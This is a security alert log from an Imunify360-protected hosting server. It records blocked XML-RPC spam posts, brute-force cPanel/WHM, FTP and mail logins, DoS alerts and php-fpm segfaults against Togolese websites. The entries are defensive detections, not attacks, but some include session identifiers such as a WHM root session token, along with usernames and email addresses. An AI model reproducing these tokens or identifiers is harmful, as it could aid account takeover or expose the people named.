name: Mail Recipient rejected
abuser: 77.83.39.21
country_id: 690791
description:
2026-07-01 08:49:15 H=([77.83.39.21]) [77.83.39.21]:57868 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<support@dhl.com> temporarily rejected RCPT <b.blaodekissi@ese2i.tg>: Could not complete sender verify


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:07cfd7158b42c1833cd3e6efec1ec5b9c63124f3||Title:u4sakjq0t43pw4m00y||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fe74c8b14b95e4f8cc4d8e8afb944db856bfc2f5||Title:0x7288eb8d||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:615170c720edc11783b902520a347406952c51e1||Title:0x7e1d6fb8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bd1c30190a92395834ecebe07ce751e2374cb6b4||Title:042nkebz5f6rnu||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:52:56 ns5 kernel: php-fpm[2327624]: segfault at 7ffd4871cf48 ip 000000000072ad55 sp 00007ffd4871cf48 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:89f5dbeac9ae3405c54c9d9cfcb698ccd1e91d70||Title:0xf7dc6f95||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3406dbadad495a2940e432276abbe34f1336f423||Title:g6shw4dpxbl9hn||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.157.48.80
country_id: 1643084
description:
[2026-07-01 08:52:00 +0000] info [cpaneld] 103.157.48.80 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 159.26.103.215
country_id: 6252001
description:
Jul  1 08:53:30 ns5 pure-ftpd[2329014]: (?@159.26.103.215) [INFO] New connection from 159.26.103.215


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:87bcccc9b5e46e0e4f34fe1b9421f2664cbbc180||Title:0x8b327d34||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 159.26.103.215
country_id: 6252001
description:
Jul  1 08:53:35 ns5 pure-ftpd[2329014]: (?@159.26.103.215) [WARNING] Authentication failed for user [a.kesso]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:604ca57ff3adc278ce38ab56607b8afd6088df1f||Title:fplxdpv7l8d33er||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.26.103.215
country_id: 6252001
description:
[2026-07-01 08:53:35 +0000] info [whostmgrd] 159.26.103.215 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:54:26 ns5 kernel: php-fpm[2327947]: segfault at 7ffd4871cf48 ip 000000000072ad55 sp 00007ffd4871cf48 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3f007b348644ffbdce3a34fdde679608d94f263a||Title:0xe4bf3f0c||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b9b34837273bf23a53abdcc3c541f86baecf0319||Title:ee7niv666snfjqh7||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-07-01 08:55:52 +0000] info [whostmgrd] 80.248.64.198 NEW root:VWBfbsbbmM1adP6_ address=80.248.64.198,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.211.146.220
country_id: 3175395
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.com.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e93a230ef84ba67784841e31311e4426b2e1daad||Title:0xbd263b2f||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 116.90.114.84
country_id: 1168579
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e316d6df6a26de21286c94864bf87dfd888ea1a4||Title:6tebvx2i3ob30ijzlz||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-07-01 08:55:40 +0000] info [whostmgrd] 80.248.64.198 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.6.208.164
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/partenariat-strategique-bad-bidc-renforcer-la-gouvernance-et-limpact/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.6.208.164
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/partenariat-strategique-bad-bidc-renforcer-la-gouvernance-et-limpact/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 08:59:46 ns5 kernel: php-fpm[2331469]: segfault at 7ffd4871cf30 ip 0000000000729c3b sp 00007ffd4871cf20 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 185.185.50.108
country_id: 2750405
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:29b4b62d000715c32094a636ba6132c1dec73e5f||Title:Trajet en m\xc3\xa9tro \xc3\xa0 travers gestion de l\xe2\x80\x99attention||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 09:00:07 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44718: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 09:01:32 ns5 kernel: php-fpm[2333262]: segfault at 7ffd90811bc8 ip 000000000072ad55 sp 00007ffd90811bc8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 09:02:59 ns5 kernel: php-fpm[2334031]: segfault at 7ffd90811bc8 ip 000000000072ad55 sp 00007ffd90811bc8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 09:03:22 ns5 kernel: php-fpm[2334203]: segfault at 7ffd90811bc8 ip 000000000072ad55 sp 00007ffd90811bc8 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.199.122.176
country_id: 6252001
description:
[2026-07-01 09:03:04 +0000] info [cpaneld] 198.199.122.176 - pyllprbc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pyllprbc (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-07-01 09:03:28 +0000] info [cpaneld] 196.171.46.177 - togoinrdceh "GET /cpsess3870972409/frontend/jupiter/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.28.18] != Current IP Address [196.171.46.177]


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 09:04:28 ns5 kernel: php-fpm[2334572]: segfault at 7ffd90811bc8 ip 000000000072ad55 sp 00007ffd90811bc8 error 6 in php-fpm[400000+4ad000]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 190.185.109.229
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:190.185.109.229||TA:190.185.109.229||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 09:05:55 +0000] info [cpaneld] 103.65.237.55 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.207.158.58
country_id: 192950
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-digital-2025-la-racine-des-projets-digitaux/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 130.250.231.137
country_id: 3686110
description:
130.250.231.137 - - [01/Jul/2026:09:08:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316141&pdata=https%253A%252F%252Fmacite.tg%252F2025%252F10%252F15%252Fpage%252F2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782896909 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2025/10/15/page/2/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2197.1290 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:130.250.231.137


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.207.158.58
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-digital-2025-la-racine-des-projets-digitaux/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 122.169.123.36
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 122.169.123.36: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 152.52.55.182
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 152.52.55.182: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.13.225.69
country_id: 2921044
description:
45.13.225.69 - camaegdtomgo [01/Jul/2026:09:10:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6461387&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897055 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.13.225.69


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.246.188.73
country_id: 2750405
description:
185.246.188.73 - camaegdtomgo [01/Jul/2026:09:10:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6777499&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897044 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.246.188.73


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.246.188.73
country_id: 2750405
description:
[2026-07-01 09:10:46 +0000] info [cpaneld] 185.246.188.73 - camaegdtomgo "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.13.225.69
country_id: 2921044
description:
[2026-07-01 09:10:57 +0000] info [cpaneld] 45.13.225.69 - camaegdtomgo "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 107.189.30.236
country_id: 2960313
description:
107.189.30.236 - camaegdtomgo [01/Jul/2026:09:11:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855895&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897086 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:107.189.30.236


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 147.90.235.16
country_id: 6252001
description:
[2026-07-01 09:11:18 +0000] info [cpaneld] 147.90.235.16 - camaegdtomgo "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 147.90.234.115
country_id: 6252001
description:
147.90.234.115 - camaegdtomgo [01/Jul/2026:09:11:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722671&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897106 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:147.90.234.115


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 41.210.141.248
country_id: 226074
description:
[2026-07-01 09:11:41 +0000] info [cpaneld] 41.210.141.248 - pnls "GET /cpsess2206538784/json-api/cpanel?cpanel_jsonapi_module=Fileman&cpanel_jsonapi_func=listfiles&cpanel_jsonapi_apiversion=2&needmime=1&dir=%2fhome%2fpnls%2fpublic_html%2feeq%2fresources&showdotfiles=1&cache_fix=1782897100509 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [41.210.141.216] != Current IP Address [41.210.141.248]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 147.90.235.16
country_id: 6252001
description:
147.90.235.16 - camaegdtomgo [01/Jul/2026:09:11:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724254&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897075 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:147.90.235.16


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 107.189.30.236
country_id: 2960313
description:
[2026-07-01 09:11:28 +0000] info [cpaneld] 107.189.30.236 - camaegdtomgo "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 147.90.234.115
country_id: 6252001
description:
[2026-07-01 09:11:48 +0000] info [cpaneld] 147.90.234.115 - camaegdtomgo "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 41.210.141.248
country_id: 226074
description:
[2026-07-01 09:11:47 +0000] info [cpaneld] 41.210.141.248 NEW pnls:1R3BPm8qc9tRLgbZ address=41.210.141.248,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.89.31.53
country_id: 3625428
description:
190.89.31.53 - - [01/Jul/2026:09:14:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250393&pdata=https%253A%252F%252Fmacite.tg%252F2025%252F05%252F22%252Fballon-dor-pourquoi-pele-et-maradona-ne-lont-jamais-remporte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897261 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2025/05/22/ballon-dor-pourquoi-pele-et-maradona-ne-lont-jamais-remporte/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.6310.1784 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.89.31.53


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [01/Jul/2026:09:14:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131305&pdata=http%253A%252F%252Fcafeit.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897253 HTTP/1.1" 302 0 cafeit.tg "http://cafeit.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.165.67
country_id: 1562822
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/tag/1er-vice-president-de-la-ceni/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.207.188.29
country_id: 2363686
description:
41.207.188.29 - - [01/Jul/2026:09:16:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737368&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14479&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782897395 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14479" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.207.188.29


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.54.216
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:162.252.54.216||TA:162.252.54.216||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 09:17:29 +0000] info [cpaneld] 52.200.114.158 - masfloy "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.14.168
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/ckool-1 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 09:20:13 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57944: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.207.227
country_id: 2363686
description:
[2026-07-01 09:20:22 +0000] info [webmaild] 196.168.207.227 - kzodji@caissederetraites.tg "POST /cpsess9062532774/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.136.82] != Current IP Address [196.168.207.227]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.40.225.41
country_id: 286963
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/ami-reglementation-eclairage-public-au-togo-une-liste-restreinte-constituee/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.110.80
country_id: 99237
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=684 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.211.145.227
country_id: 192950
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2218 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.98.202
country_id: 3469034
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1629 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.219.120.63
country_id: 1269750
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 185.185.50.108
country_id: 2750405
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5cc2e363d78079ce74a524fc05b24dcabcac766d||Title:Cambio de divisa desde h\xc3\xa1bito y autocontrol||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.115.211.125
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/07/ggggggggggggggggggg.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.64.122
country_id: 3469034
description:
Jul  1 09:27:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.64.122 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.144.35.224
country_id: 1880251
description:
[2026-07-01 09:30:45 +0000] info [cpaneld] 168.144.35.224 - 1yTd3Xo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.164.33.199
country_id: 1733045
description:
115.164.33.199 - - [01/Jul/2026:09:33:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014931&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finhumation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782898389 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/inhumation/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.1252.1326 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.164.33.199


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.70.236.230
country_id: 953987
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/2020/04/01/covid-19-le-togo-decrete-letat-durgence-sanitaire-pour-trois-mois/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 09:36:59 +0000] info [cpaneld] 103.65.237.55 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.152.227
country_id: 3469034
description:
Jul  1 09:37:55 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.152.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.152.227
country_id: 3469034
description:
Jul  1 09:38:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.152.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 09:39:16 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52896: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.119.40.130
country_id: 294640
